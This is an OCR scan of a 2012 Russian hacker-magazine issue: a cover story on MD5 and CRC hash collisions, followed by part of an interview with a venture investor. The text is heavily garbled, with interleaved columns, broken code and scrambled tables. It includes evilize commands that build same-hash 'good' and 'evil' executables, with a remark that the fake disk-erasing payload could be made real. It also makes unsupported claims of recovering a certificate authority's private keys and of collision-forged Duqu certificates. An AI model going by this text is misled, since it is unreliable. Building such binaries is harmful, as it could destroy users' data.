быстрый сnособ, то эта хэш-функция nерестает считаться крипта­

хэш-функций может служить

стойкой, а также использоваться для nередачи и хранения секретной

мом хэш-функции, а представляет из себя алгоритм вычисления

информации . Но всегд а ли это так? Оказывается, далеко не всегда.

контрольной суммы. По скорости вычисления он в деся т ки и сотни

ISMUttiiil

значительно nроще в апnаратной реализации. Однако n л атой за

CRC,

который не явл я ется ал г ори т­

раз быстрее, чем криптографические хэш-функции, а также

Итак, коллизией хэ ш -функции

F называются два различных входных F[x] = F[y]. Рассмотрим в качестве

блока данных- х и у- т аких, что примера хэш-функцию

F[x] = х[19[, опреде л енную на множестве це­

высокую скорость является возможность легко nо д о гн ать боль ш ое количество сообщений под заранее известную сумму. Так разря д ­

ность контрольных сумм [тиnичное число-

32 бита ] ниже, чем 128, 160 и 256 бит], что

лых чисел. Ее ОДЗ [из школьного курса математики ты должен знать,

у криnтографических хэш ей [тиnичные числа:

что это такое] состоит из

означает возможность возникновения неnреднамеренных коллизий.

19 элементов [кольца вычетов no мод улю 19],

а область определе н ия стремится к бесконечности. Так как множе­

В качестве nримера можно nривести следующий код на С, демон­

ство nрообразов заведомо больше множества значений, коллизии

стрир у ющий nолучение трех СRС-коллизий на

100 000

и т ераций:

обязательно существуют. Что это значит? Давай построим коллизию для этой хэш-функции, исnользуя входное значени е

которого равна нулю. Так как функция

19, то д л я

38, хэш- су мма Flxl периодическая с периодом

любого входного значения у значение у+ 1 9 будет иметь ту

ТАБЛИЦАХЭШ-ФУНКЦИЙ,ДЛЯ КОТОРЫХ БЫЛИ НАЙДЕНЫ КОЛЛИЗИИ Д л инн а х эw · э н а ч е ни я

Алгори т м

Одновременная схема

Davies· Meyer ( с ID EAI

128

Ск орость шифров а ни я

( К бай т/с(

22

Davies-Meyer (с DESI

64

Хзш·функция ГОСТ

256

11

HAVAL 13 nрохода(

nеременная

168

#include <stdio.h> #include <unistd.h> #include <stdlib.h> #define INTE RATION 100000 int main () { int count =0; int i,j ; unsigned hash; char с; unsigned* t а Ы е; tа Ы е = calloc(I NTERATION, sizeof ( unsigned )); for (i = 0; i< INTE RATION; i++ ){ hash = 0; for (j=0; 32 > j;j++){ с = 33 + ( char ) (63 .0*r and ()/ (RAND_M AX+1. 0)); ha s h = ( hash * 33 ) + с;

HAVA LI 4npoxoдal

nеременная

118

HAVAL 15 nрохода(

nеременная

95

MD2

128

23

has h = hash + (hash >> 5); for (j=0; i > j ;j ++ ) if (taЫe [j ]

М04

128

236

taЫe [ i]= h ash;

MD5

128

174

N-хэшl12этапов)

128

29

ha sh) count++ ;

free( t aЫe);

printf( "%d values %d collisions \ n" ,INTERATION, cou nt) ; return 0;

N-хэш(15этаnовl

128

24

RIPE-MD

128

182

SHA

160

75

Snerfu 14 nрохода)

128

48

Среди множества существующих хэш-функций принято осо­

Snerfu 18 проходовl

128

23

бенно выделять криптаграфически стойкие,- они nрименяются

Таблица хэ ш - ф у нкций , АЛЯ к оторы х были н ай А е н ы колли з ии

в криnтографии. К nримеру, существуют два наиболее часто

ХАКЕР 04/159/2012

020

www.epidemz.net

Оп ас н ый дв о йник

Verity Certificate

IV- начальное

значение буфера , а

L1

и

L2- различные

сооб щ е ­

ния . Нап р имер , если взять начальн о е з н ачение буфера

Co mmon Na me: C- l.ledia Electronics ln corpora tion А

Status: Rev oked Va lidity (GI,\ ): Aug Class:

З,

2009- A ug 2, 2012

D i g~ a ll

Class ? - Softl'lare Valid ation FreeRe placement i g~ a ll

Country:

и задать входное сообщение

AAlDDABE l ee6363 E 98A1F B19 1326ED65

aipei Т1f

Se rial Number: 046931 Ьf57e bc5947d~c4 ee 7 a 236 e lss uer Digest:

e xSF 62897C ex4BA763 ED

Class ? - 1.\ icrosoft Softl'l are Va lidation v2

State: Tail'l an City! Location :

ех3 В 3 41е4 2

С

D

Organization : C-1.\edia Electron ics lncorporation Organization al U n~ :

е х 12АС 2375

в

2a 4BdOfca cЗca 29d9 a З4f f fSOЗb2c29f

D97AB FF5 72 18 2 е 9 о

1FAE44Be D93 Ee972

BBFe ElC l Ee1C136D 23688992 0458(868

32774244 9DA64De E 68 7 А 779 8 6 8 727 4 6 А

то добавляя число 2л9 к определенному 32-раз р ядному сло в у

в б лочном б у фере, можно получить второе сообщение с т аким же

Проверка подлинности сертификата на VeriSign

хзшем. Есть несколько программ, которые помо г у т т ебе вс е э т о

дело провернуть [обрати вн и мание на ссы л ки в бо к о в ом вын осе ! . в с тречающи хс я в пов с едневн о й жизн и алг о р и тм а:

В п л ан е бе зо п ас ности предшественник

MD5

MD4 . В

MD4

и

MD5 . МЕТОДЫ ПОЛУЧЕНИЯ ПРОФИТА

являет ся бо л ее н адежным, чем е г о

П е р е д тем как начать практич ес к у ю часть , мы должны добить

новый алгоритм р а зра бот чики добавили

тео рию . Дел о в т о м , что так называемые коллизии мы можем

еще оди н раунд- теперь вместо тре х их стал о ч е т ы р е. Также бы л а

доба в лена новая константа , чтобы свести к мин и м у м у влияние

и с п о льзовать в каче с тве ключа / паролядля аутентифика ц ии в р аз­

вхо дн о г о сообщен и я. В каждом р а унде на каждом шаге константа

личном ПО и на веб-ресурсах. Это значит, что даже без з н ания п а­

все гд а р азная, она сумм и руется с результатом

р о ля , имея на р у ках только лишь его хэш, мь1 можем сгенерировать

Fи

блоком д анных.

И з м е н илась функция G = XZ v [У пot[Z I I [вмест о ХУ v XZ v YZI. Рез уль ­

правдаподобный па сс еорд с помощью коллизии , причем за вп ол н е

тат каждого шага складыв а е т ся с результатом п редыдущего, из-за

при е млем о е время . Однако на данный момент существуют и п о­

это г о пр о и сходит бо л ее быст р о е изменение ре зультата. Изменился

в се м е стно исп о льз у ются лишь несколько видов <<взло м а>> хэ ше й

по ряд ок работы с в хо д ным и словами в раундах

MD4/ 5, т о есть подбора сообще н ия с зада нн ым хэшем . 1. Перебор по заданному сло в арю: н икаких г аран ти й удач но г о

2 и 3. Даже н еболь ­

ш ее из м е н е ни е в хо дн о г о сооб щ е ни я [ в н а ш ем случае на оди н би т :

ASC II с имв о л «5» с к о д ом О х3516 = 0001101012 заменяе т ся на символ «4» с ко д ом Ох3416 = 00011010021 приводит к полному изменению

резу л ьтата нет, из плюсов м ожно отмети т ьл ишь м а л ое вр е мя ,

зат ра че н ное на перебор.

хз ш а. Такое с в ойство ал г о р итма назы в ается лавинным эффектом.

2. Брутфорс: банальны й перебор случайных или после д овате л ь ны х

В от так выгл я дит приме р 128 - бит н ого [16-байтногоl МD5-хзша:

комбинаций , большим мину с ом которого является з н ачител ьн ое количество затраченного времени и ресурсов к о мпью т е р а.

MD5( "md5" ) =

3. RaiпbowCгack: атака по радужным таблицам яв л яе т ся са м ым

lbc29b36f623ba82aaf6724fd3Ы6718

эффективным мето д о м « взлома >>; плюс заключается в быстром Кстати, ес л и гово р ить ко н кретно о коллизия х в алгоритме

переборе , минусы- в гигантском размере ра д ужн ы х таб лиц

MD5, т о з д есь м ы м ожем п олучит ь о д и н аковые значения функции [FI для

и б ольшом количе с тв е времени, затраченном на их ге н ера ц ию.

р азных сооб щ ен и й и и д ентичного начального б у ф е ра. Так, напри­ м е р , для извест н ого сооб щ ени я можно построить второе- тако е,

Для полного перебора или пе р ебо р а по словар ю м ож н о и с­

ч то о н о б уд е т им е ть т а к ой ж е хэ ш, к ак и исходное. С то ч ки з р ения

пользовать, к при меру, следующие п рогра м м ы : P asswoг d s P гo,

мате матик и это оз н а ч ает сле д ую щ ее: MD 5[ 1V, L11 = MD 5[ 1V, L21, где

MD5B FCPF, J ohп the

STUXNET И

R i ppeг.

• Об алгоритме MD5: bjt ly/awBxKK : • интересная

ПОДДЕЛЬНЫЕ СЕРТИФИКАТЫ

статья о коллизиях

lматчастьl :

Надеюсь , ты не забыл историю с руткитом Stuxпet, когда

на них:). Как бы парадоксально это не было , но существует

троян-драппер прогружал и запускал в системе свои драйверы ,

ряд доказатель с тв , подтверждающих мои слова . Во-первых ,

спокойно обходя всяческие системы предотвр а щения

на одном закрытом форуме, где тусевались разработчики этих

вторжений и антивирусы? Тогда при реверс - инжиниринге

нашумевших руткитов (хотелось бы особо отметить человека под

сэмnлов вь1яснилось , что драйверы руткит а были подписаны

ником огг, статьи которого присутствуют на ряде авторитетных

« настоящими>> се ртификатами крупных производителей

паблик-ресурсов , посвященных ИБ и реверс-инжинирингу :

контроллеров и чипов JМiсгоп и

woodmaп и орепгс е ) , с уществовал топик о возможности кражи

Realtek . Было

много шума ,

все кинулись обвинять эти компании в некомпетентности .

доверенных сертификатов . В нем приводился пример с

Аналогичная история повторилась и с « братом >> Stu x пet ­

сертификат (с закрытым ключом) которого был сгенерирован

червем

с помощью коллизии. Во-вторых , ес ли с равнить два сертификата

ics,

Duqu . На этот раз

обвинили компанию

C-Media

Electгoп­

се ртификаты которой также были якобы украдены. Все

(настоящий и тот, что был сгенерирован для

Duqu,

Duqu) по размеру,

вроде бы верно, но никаки х краж возможно и не было! Я думаю ,

то окажется, что существует хоть и малая , но все же разница

ть1 уже понял, о чем идет речь. Поддельные се ртификаты

в

были сгенерированы при помощи фундаментального б ага­

ноодинаковыепоконтрольнойсумме.Историясукраденными

коллизий. Антивирусы, проверяя контрольную сумму файлов,

сертификатами осталась бы практически незамеченной , если бы

не заметили никакого подвоха, а ведь все держалось именно

не работанезависимы х И Б-исследователей .

ХАКЕР

15 байт! Таким

образом , файлы получались разные по размеру,

04 / 159/20 12

bit.ly/byRrOu; • MD5 Collision Generator: bit.ly/zLRSEc;

• Evilize: bjt,ly/zEBLmj; • Rainbow MD5 Crack Ьу Collision Search: bjt.iy/vYRUxl;

• статья Климы

Властимила

«0

МD5 -

коллизиях »:

bit lvivDONuY; • HashCiash Framework: bjЦyl722ob;

•

научные работы

Марка Стивенса о коллизиях:

bjt.ly/ztdoHg .

021

www.epidemz.net

COVERSTORY

n ОТ ТЕОРИИ К ПРАКТИК Е Ну что же ; теперь перейдем к д о лгожданной практике. Среди профессиональных криптааналитиков есть вполне определенная классификация типов устойчивости алгоритмов хэширования , их всего три.

1. CR2-KK -свобо дн ый от коллизий, ус т ойчивый к коллизиям. 2. СR1-КК -универсальный односторонний . З.

СRО -универса льны й.

Также су щ ествуют три вида соответствующих атак для нахождения

колл и зий:

1. CR2-KK - найти коллизии для конкретной функции. 2. CR1-KK - подо брать к заданному зна ч ению пару, образующую коллизию для конкретной функции .

3. СКО - найти коллизию для семейства функций. Оригинальный сертиф и кат

Сегодня я продемонстрирую тебе два первых вида атак на

практике. Для начала nриведу два блока данных в НЕХ !пара коллизий из научной работы китайског о И Б-исследователя Ван

з овать nр им ер

Сяоюняl, их нужно вбить в hех-редакторе и сохранить в виде дв у х

Итак , к ом пилир у ем нашу nрограмму и линкуем ее с объектным

файлов:

файл ом goo dev il.o:

1-й файл

gcc hello-erase.c goodevil.o

hello-erase.c, идущий в комплекте с исходниками.

-о

hello-erase

d131dd02c5eбeec4693d9aeб98aff95c2fcab58712467eab4ee4583eb8fЫf89

55ad340609f4b30283e488832571415ae85125e8f7cdc99fd91dbdf280373c5b

См от рим кон т ро льн ую сумму nодоnытного файла:

d882Зe3156348f5baeбdacd4Збc919cбdd5Зe2b487daeзfde239630бd248cdae

e99f33420f577ee8ce54bб7e8ea80dlec69821bcbбa883939бf9652bбff72a7e

md5sum . / hello-erase

2-й файл

/ home / satsura/ md5 col l /source/ev ilize / hello-erase

23d3e4873e3eaб 1 9c7bddбfa2d0271e7

d131dde2c5eбeec4693d9aeб98aff95c2fcab5e712467eab4ee458Зeb8fЫf89

Р азби в а ем на блоки нашу полученную контрольную сумму, и за­

55ad340609f4b30283e4888325f1415ae85125e8f7cdc99fd91dbd7280373c5b d8823e3156348f5baeбdacd4Збc919cбdd5Зe23487daeзfde239630бd248cdae

п ус ка ем н а исполнение генератор МD5- к оллизий:

e99f33420f577ee8ce54 b67080280dle c6982 1b cbбa883939бf965abбff72a7e

./md5coll 0x23d3e487 init.txt

Если сравнить размер и контрольную сумму в MD5 у п о л у ч е н­

е хЗеЗеаб 19 exc7bddбfa

ex2d0271e7 > \

ных файлов, то мы не заметим ника кой разницы! Теперь давай Далее запускаем evilize для создания двух различных испол­

найдем е щ е несколько коллизий к этим файлам. Программа MD5 Col li sion Geneгatoг о т Патрик а Стэча поможет нам разобраться в атаке CR2-KK. Смело компилируй ее и запускай на исполне ­

няемых файлов с одинаковым размером и МD5-хэш ем. Смотрим

ние . П ервая коллизия на моем самом слабом компьютере была

бинарники:

на контрольную сумму и размер, а затем запускаем полученные

получена ме не е чем за 15 минут, а вторая- примерно через два с nоловиной часаl Не так уж и плохо , согласись. Теперь nерейдем к реальной атаке , для этого будем исполь­

зовать эксnлойт-библиотеку evi lize !снова обрати внимание на ссылки!. П осле компиляции данной библиотеки в текущей дирек­ тории должны появиться три файла: evilize, md5coll и объектный файл goodevil.o. В качестве п одопытной программы будем исnоль-

./evi lize hello-era se -с init.t xt -g good - е evil du -sh ./evi l ./good & md5sum ./evi l . / good s,ек . /ev i l s,ек ./good . /evi l d8bf 2 1lbбlб24d331fe06c75bdбe 3c89 d8bf211b61624d33 1f eeбc75bdбe3c89 . /good

НЕМНОГО ИСТОРИИ Ганс Доббертин нашел псев ­

Китайские исследов ате ли Ван

Те же самые Ван Сяоюнь и Юй

доколлизии в MD5, используя

Сяоюнь IWang Xiaoyunl, Фен Дэн­

Хунбо опубликовали алго­

определенные инициализи­

гус IFeng Dengguol, Ла й Сюэцзя

рующие векторы , отличные от стандартны х.

ритм , позволяющий найти две

ILai Xuej ial и Юй Хунбо IYu Hongbol объявили об

различные последовательности в 128 байт,

обнаруженной ими уязвимости в алгоритме, по­

которые дают одинаковый МD5-хэш .

зволяющей находить коллизии за крайне малое

время 11 час на кластере IBM

p690I .

ХАКЕР

022

www.epidemz.net

04/159/20 12

О п ас ны й д войн и к

./good Hello, world! ./ evil This progra m is evi l ! !! Erasi ng hard dr i ve . .. 1Gb .. . 2Gb .. . j ust ki dd ing ! Nothing was erased . Как видишь, о дна программа выводит известную всем безо ­ бидную фразу

«Hello, worldl>>,

а вторая якобы стирает данные на

диске. Мы можем переделать наш hello-eгase.c так, чтобы вместо шуточного стирания данных п роизошло реальное, и тогд а будет

Коллизия в действии

не до шуток. Н о все это цветочки по сравнению со следующей атакой, которую я пров е л при своих иссл е дованиях

CR1-KK. образую щ ей коллиз ию для конкретной функции при ген е рации

ВЗЛОМ

CR1 - KK

элек трон но-цифро вых ключей. Изначально было несколько

В качестве <<же ртвы >> для исследований я выбрал цифр ов ые

данных, которые я и и с поль зовал в качестве входны х параме­

ключи компании Uпiсоп, являющейся в Узбекистане м оно поли­

тров. Оч ень облег чил за дачу тот факт, ч т о па роль для закры­

сто м в области ЭЦП [электронно-цифровой подписи! и се рти­

т ой Э Ц П у всех сертификатов один и тот же:

фикации. Осн о вы ваясь на труда х Властимила Климы , я написал

фатальн ая ошибка- са мая гр убая из в с треченных мной за весь

програ мм у

опыт работы в облас ти ИБ . И мея на руках только контрольные

CR1-KK-collisio n keyge n для

п о д бора пар ы к зна чению ,

000000.

Это была

суммы файлов и открытые ключи, мне удалось сгенерировать прим ерный ориги нальный закрыт ый ключ для подписи раз­

;s/тdS.otl ~

sanjar@OxrOOtwOrm tJlock #l dor1e

lтdS

col! IVO

личного рода документов, ключей и иден т ификаци и пользова­

теля в не скольк их СR М -с и с т емах [к п римеру,

E-hujjat о т того же

монополиста!. Пр о деланн ую работу ты сможешь увидеть воо ч ию Ыосk #2 UI1Slgned

сJопе

на соо тв етствую щих скриншотах, в консоли же все это выгляде­

lПt rnO [ 32] ~ {

Ox5d4995бl, ОхбЬ45~~2с,

Ox242lf72e, Oxe434lf9r,

ло прим ерно так:

Ох~lбlебс9,

Ох57Ьс9беЬ,

ОхЬе4Ь9054,

Ох893387с0,

C: \ coll_te st > mdSs um * Ыdla3fб3f9784eef e8c237ff2484a78

Ox0633ad55, Оха2Ь23БОБ, Ox;rJ~Ocl9b, Oxd2e27f73, Ox3deb0900 , Oxed7b5505, Ox9105llce, Ох758Ь9212, Охd3БЬс97с,

Охdб0б9еf9,

Oxf742e78~.

Ох82442сбе,

ОхЬбfбd54е,

Oxfd8ec2d3, Охlб2е494б, Oxc93732fe, Ox50293ffa, Oxa8073ced, Ox1Bbfd87e, Ох7е~3Ьбf7,

Oxad5lбa4c,

Ох7dЬба015,

Ох84аlе48б,

*key((faked

col lis i on).

Ьу

key a654bd7eeьseбcf47caebe42b2fЗe575 c5dбaaa286 393 16614e3d95987fcb612 аб54Ьd7ееьsебсf47саеЬе42ЫfЗе575

OxfЫcOf72,

*cer(faked *pfx(faked *ce r. cer

Как видишь, у сертификатов сег.сег и

};

Ьу Ьу

col l i si on).ce r col l i sion). pfx

cer[ faked Ьу coll isioni .cer

одинаковая контрольная сумма.

ur1s1gr1erJ

~ { Ox242lf/2e, Oxe434lf9c,

111t rnl[Л]

Ox5d4995бl, ОхеЬ45аа2с,

1 Ох~lб1Рбс9,

Ох57Ьс9беЬ,

ОхЬе4Ь9054,

Вх89ЗЗВ7с0,

Н а до при з нать , что МD5-х э ши стали неотъемлемой частью на­ шей жизни. Они вездес у щи. Их используют в качес т ве ал г о р ит­

Ox0633ad55, Оха2ЫЗ60б, Oxala0cl9b, Oxd2e2ff73, Ox3deb0900 , Oxed7b5505, OxllOSllce, 0х758Ь9212, Охd3бЬс97с, Oxdб069ef9, Oxf742e78a, Ох82442сбе, Ох3бfбd54е, Oxfd8ec2d3, Охlб2е494б, 0xad5lбa4c, Ох7dЬба015, Oxc93732fe, Ox50293ffa, Ox84al6486, Oxa8073ced, Oxl8Ьfd87e, Oxfea3bбf7, OxfЫcOf72,

мов для хэширования nаралей как в nрограммнам обес п ечен и и, так и на веб-ресурсах. О н и не зависят н и от пл атфо рм ы, ни о т О С, на которых исполняются. Векторы атак также доволь н о ш ироки : от б анкоматов до цифровы х подписей, от авторизации клие н т­ сер в е р и до целостн ос ти n е р е даваемых по сети файлов. Я вляясь быстрыми и менее крип тос тойкими , 128-битные алгоритмы хэширования принесут е ще н емало бед. Н а сего д ня ш ний д е нь

};

коллизии и псевдоколлизии б ы ли н ай д ены в бол ьш о м р я д е а лг о­

san ar@OxrBOtwOrm

ритмов, с р е ди которых

MD2, MD4, MD5, DE S, DE S- IDE A, RIPEMD, HAVAL[- 128, -2561, SHA-1, ГОСТ Р 34 .10-200 1 и так д алее. Со

-/s/mdScoll ~

временем этот список будет только пополняться.

Ге нерируем к олли з ии

I

Чешский исследователь

Эдуарда Диаз по сп е циально

Властимил Клима опубли­

разработанной с х еме создал

библиотеку

ковал алгоритм, дающий

два различных архива с двумя

дания двух разных программ

Дидье Стивене использовал

evilize

для соз­

возможность на х одить коллизии на обычном

разными программами , но абсолютно ид е н­

с одинаковым кодом цифровой сигнатуры

компьютере с любым начальным вектором

тичными МD5-хэшами.

(A,B,C,DI при помощи метода , названного им

(Authenticode digital signature), authenticode используется Microsoft для подnиси свои х

« туннелировани е».

библиотек и исполняемы х файлов .

ХАКЕР

04/159/2012

023

www.epidemz.net

COVERSTORY Наш гость- удив и тельны й человек . Он н ач и н а л сво й путь к а к ин ж енер и разраба т ывал ар хи те к туру к о м пьютер о в дл я

спутн и ков слежен и я . Его команда создала первые р абочие

зовать, и ты за нее бореш ься. Так и за калялея

образ ц ы

Wi-Fi и раньше все х представила пр о грам м н ую реал из ац и ю VPN для Windows. Запу с т и в не ск оль ко

характер, в таких вот сраже ния х-боях .

те х нол о г и ч ес к их комп а н ий, Ал ек сандр Гали цки й осн овал

Моя п ер вая вст реч а с ос н ов а т е ля м и Suп

венчурны й фонд

СОТРУДНИЧЕСТВО С

M i c гosy st em s с остоял а сь в

Pa гt ne гs, кото ры й х оро шо

Alma z Cap ital

SUN 1990 году.

К нам

в страну впервые приехали люди, с кото­

из в е с тен н е т оль к о в Р о ссии, но и в Си л иконов о й д о лине.

рыми мы имели право встречаться. Пр ав да , только через совместное предприятие- о ни создавались специально и контролировались,

дабы мы могли общаться, но были ск рыты. Тогда к нам прие зжал Билл Джой и еще один

НАЧАЛО КАРЬЕРЫ

технической мощи была сильно развита. И зто

Мой путь начинался в Советское время. Все

воспитывало в нас такую

мальчишки с периферии мечтали пробивать ся

ния. Поэтом у я рос в этой системе достаточно

через технические направления. Я хотел про­

быстро.

биваться через космос. Мне повезло- я попал

...

систему сраже­

активный человек- Джон Гей дж. который в то время был их директором по науке . Мы с Би л л о м Д ж ое м од н о г о в о зраст а, и у нас в о время разг о в о ра по шл о н е чт о вр од е

прот иво ст ояния. Я начал излагать какие-то

Помню, шеф вы з в а л меня, и мы долго

на работу к человеку, который был генераль­

обсуждали ар х ите кт уру н о в ого компьюте­

вещи- они стали удивляться. Ведь их кто-то

ным ко н структором систем спутниковой раз­

ра- ка к о н до·л же н ст рои тьс я . Я исходил из

заманил в Советский Союз, дикую в их глазах

программистских начал- мен я не устраивали

страну. В ходе этих дебатов я все время на­

существующие системы программирования:

ходил какие-то аргументы. В определенный

окунулся в т яжелые бессонные ночи про­

мы не могли легко менять код на ходу. То есть,

момент нашего спора я полез в карман и до­

гра м мистов , вкалывающих, чтобы запустить

технически- могли: спутники упра влялись

стал оттуда 22-слойную полиамидную плату,

первый спутник наблюдения с цифровым изо­

с Земли, и мы, естественно, кор ректировали

что ввергло их в полный осадок . В то время

бражением. До этого все спутники еще делали

код со станции управления, соф т помогал

в Америке их делали где-то в

с отстреливающимися кассетами на фотоаппа­

исправлять много доп у щенных аппаратных

она не получалась,- а тут целых

ведки и наблюдения.

Из фривольной научной работы я сразу

8 слоев, и у них 22 слояl

ратах. Мы делали первый спутник с системой

ошибок . Но все это требовало очень больших

запоминания и передачей данных через гео­

усилий, титанически х бессонных ночей. И, ко­

стационарные спутники. Я оказался в команде.

нечно, мы все время пытались зто совершен­

и космической аппаратуры . Была придумана

когда все железо уже сделали, а софт, как это

ствовать. Когда началась разработка новой

схема: чтобы решать проблемы габаритов,

часто тогда бывало, не работал.

архитектуры, со с тороны софта уже пошел

мы делали бескорпусную аппаратуру . То есть,

перелом-мы влияли на аппаратуру, и нас

корпуса снимались, и только чипы ставились

Мой шеф - Геннади й Яковлевич Гусь­

Наша компания тогда отличалась тем , что мы сидели на стыке микроэлектроники

ков- был настоящим предпринимателем.

стали больше с лушать . По сути дела, началась

на плату. Тогда весь мир начал смотреть в эту

Он обладал теми качествами, которыми от­

конкуренция за создание новой архитектуры.

сторону, и позже даже Suп выпустил некий

личались, например, Стив Джобс или Королев. В нем было много авантюризма, техническое

Мой бо с с ска з ал , что е с ли я хочу с делать свою арх ит ектуру , у м еня е ст ь две недели

компьютер, где SРАRС-процессор был именно бес корпусный. Естественно , э то п роизвело на Suп какое­

видение и тонна идей . Н апример, очень пока­

на формиров а н и е подраз д е л ения . До зто го

затель н ый момент: в Россию п риезжал Н иксо н

у меня, конечно, была куча софтовых инжене­

то н евероятное впечатление. Была осень

и встречался с Брежневым. Он привез с собой

ров, но тут- пожалуйста: бери разработчиков

года, когда они приехали к нам в Зеленоград насуперзакрытое предприятие. Там мы снова

1990

несколько чемоданов, развернул их, достал

чипов , бери разработчиков, которые будут

оттуда телефон и начал связываться со своими

платы разводить и воплощать архитектуру

много говорили, показали им еще что-то

посольствами в разных странах. Это, конечно,

в <<же лезо>> . Соответ ствен но , можно было по­

У них загорелись глаза, появились мечты-

высить ставки сотрудников в среднем на

у

произвело дикое впечатление. Был

1972

годl

10%-

Sun

..

вообще амбиций мно г о. Мол, как насчет

И Брежнев, естественно , заявил, что к поездке

это был достаточный бюджет, чтобы я мог их

закинуть

в Америку он хочет иметь т акую же систему.

переманить. Нельзя ведь нанять толпу народа

nонты-

SPARC в космос? Для них же зто SPARC в космосе, это же крутоl lntel космосе, и SPARC т оже в космосе. А Билл

Все ответили, что зто невозможно, и только

с улицы: они не прошли бы проверку по спе ц­

в

мой босс сказал: «Я это с д елаю». И сделал.

службам, а нужно было много люд ей. И вот я

Джой, как и все: в джинсах, в кроссовках.

К отъезду Брежнева в Ш таты все было обеспе­

начал ходить внутри и сманивать специали­

Ходи т, танцует, выпендривается. Ш еф говорит

чено: специальный десант высадился на Кубе

стов на новую перспективную работу, тем са­

мне: « Что за ненормальный такой?>>

для развертывания систем резервирова н ия

мым наживая себе кучу врагов: меня обзывали

и управления спутником ... Н о, тем не ме н ее,

«Карьеристом», негодяем , человеком , идущим

Брежнев смог достать свой чемодан, снят ь

по трупам ... В общем, я выслушал о себе

космический конгресс. С зтим связано немало

трубку и продемонстрирова т ь, что «МЫ ничем

кучунелестных вещей. Тем не менее , в таких

смешных историй. Наnример, мы вывезли

не хуже, чем они>> .

обстоятельствах понимаешь- у тебя есть две

туда очень много разного железа, включая

недели, тебе нужно сформировать подразде­

наш ядерный двигатель для космоса, луноход,

ление . У т ебя есть светлая идея что-то реал и-

нашу ранцевую аппаратуру связи с плоскими

Просто бешеное количество денег и сил тратилось тогда на все эти разработки . Воз­

В

1991

:1.

году мы впервые пое х али в США,

где проходил первый Советеко-американский

можно, это б ы ло н е со в сем п ра в и л ь н о с т о ч ки зре н ия экономики и про ч его, но, тем не менее,

эта часть достижений и доказательств нашей

ХАКЕР

021,

www.epidemz.net

04/159/2012

Интервью с венчурным инвестором

ИНТЕРВЬЮ С ВЕНЧУРНЫМ ИНВЕСТОРОМ

АЛЕКСАНдр ГАЛИЦКИИ

ФАКТЫ КанАиАат технических наук б

Изобретательно ла

Аательболее

зо патентов

Основатель ряАа успешаннь~ ~ технологических комn

СоЗАатель в енчур

н ого фонАад\mаz

ортфель кoтo­

Capital Partners, в ;и и как 1\нАекс , poro такие комnа дlterGeo Paralle\s, д\awar,

Увлекается горными лыжами и винАсерфингом

Чл е н Совета (<Сколкаво>>

ХАКЕР

025

04/159/2012

www.epidemz.net

COVERSTORY развит как сейчас. Ты не можешь пригото­ вить что-то вкусное, если не был на кухне: ты должен видеть, что делает повар. Я тогда В

антеннами, которую использовали наши служ­

1993

году мь1 впервые продемонстр и ро ­

вали работу РСМСIА-карточек

Потому что по какому-то там закону- ввозить

щих на скорости 4 М бит/с. Это было на выстав­

для них человек, поэтому меня таскали на

можно, а в. ывозить нельзя.

ке lпterop в Париже.

разные совещения [наверное, с мыслью, что

Тогда Sun 'овцы nригласили меня nриехать

Wi-Fi

Wi-Fi, работаю­

проводил много времени в Кремниевой

бы. И это все запретили вывозить обратно:).

долине и был такой абсолютно уникальный

я скажу что-нибудь умное). И Скотт Макнили,

в то время был нафиг никому н е

к ним в Калифорнию. В то время нас обхажи­

нужен ! Ни в России, ни на Западе . Для

вали все

это было непрофильное направление, поэтому

Шмидт. Когда я был в фирме, они все время

вместе с ними мы nоехали к

демократично приходили на обед со всеми

-IBM,

НР... Но все они были такие

очень формальные: в галстуках , костюмах,

и Энди Бэчтольшайм, и Билл Джой, и Эрик

Sun

Ericsson, самой

сотрудниками, но садились за отдельный стол

вели сложные разговоры. И помню, я приле­

революционной компании в данной сфере на

тел в Suп, встретился там со своим нынешним

тот момент.

партнером Джеффом Байером. Он сидел такой

со своимрадиомодемом-первый <<носиль­

в джинсах, в каких-то тапочках на б осу ногу,

ный>> компьютер, раскладушечка такая. Ее все

все так расслабленно ... И я подумал: <<Вот,

начали усиленно по купать . Было видно- чело­

этих бесед, я выносил сведения о каких-то ды­

это правильные пацаны, с которыми надо

век машин у останавливает, антенну открывает,

рах, которые тогда существовали. Одна из дыр,

работать! Что там какие-то

бах-бах-бах, и почту получил. Скорости

которую я подметил,- это реализация

IBM

и НР» . Так и за­

активно продавала Н Р

LX

19.2

кбит/с было более чем достаточно . Приложений

вязалась дружба. В один момент

Sun

прислала нам

компьютеров , стоимостью каждый

000 долларов .

Ericsson

15 no 25

Ну что с ними делать? Надо

и туда приглашали людей, с которыми хотели беседовать. Меня звали всегда.

Я nрос то слушал чужие беседы . Исходя из

VPN,

который нужен был для интернета, потому как

к nисьмам тогда не было- почта была чисто

не было защищенных каналов. Тогда я осо­

текстовая. Поэтому нам ответили: «Куда нам

знал, что

такие скорости? Нет рыночной nотребности>>.

и сказал: << Все, парни, делаем все в

« Какие же мы были тогда чудаки! », - го­

работать. Я пошел сдавать их на госкомпанию.

Но гасслужба по советскому закону не могла

ворил мне СЕО

взять от частного лица подарок на такую

с ним в

Sun

сумму, а таможня тогда с частных лиц денег

Ericsson, 2003-2004 году.

когда мы встречались

Sun

нифига не понимает в

Windows Windows!».

И мы взломали эти NОIS-драйверы, которые

Microsoft

не публиковала. Выполнили реверс­

инжиниринг, на который американцы либо

нас использовала чи сто для своих

неспособны, либо не делали его по этиче­

не брала. И один мой товарищ сказал: <<Что

нужд . Им было интересно кидать нам какие-то

ским соображениям, и разработали

ты мучаешься, ну не берут их у тебя- открой

нерешаемые задачи, и мы пытались их решить.

появился Suп Sсгееп Е+ и позже- российская

компанию>> . А открыть компанию занимало два

В

<< Застава>>.

дня ... Мы пошли и открыли. Так и образовалась

модули. Было очень мног о nроектов в сотруд­

мы выгребали баги, к нему же писали

ничестве с Эриком Шмидтом, который тогда

моя первая компания.

О СО ЗДАНИИ

Solaris

WI - FI

Так

VPN.

СОЗДАНИЕ ВЕНЧУРНОГО ФОНДА

был президентом софтового подразделения,

Я начал вкладывать в интересные проекты

а затем СТО компании. Я подбирал заказы,

свои личные деньги. Но потом решил- нет,

К концу 80-х мы начали вести испытания IР ­

смотрел, что там неправильно, мы лепили про­

что-то неправильно, нужно что-то менять,

протокола через наши системы передачи дан­

дукты и продавали их за большие деньги.

нужно решать это более комплексно. Нужно сделать фонд, который будет решать эту про­

ньlх. Я был апологетом Uniх-систем и считал, что IР-протокол позволяет нам делать очень

О ПР ЕДПРИНИМАТЕЛЬСТВЕ

много независимых вещей. Это, в отличие от

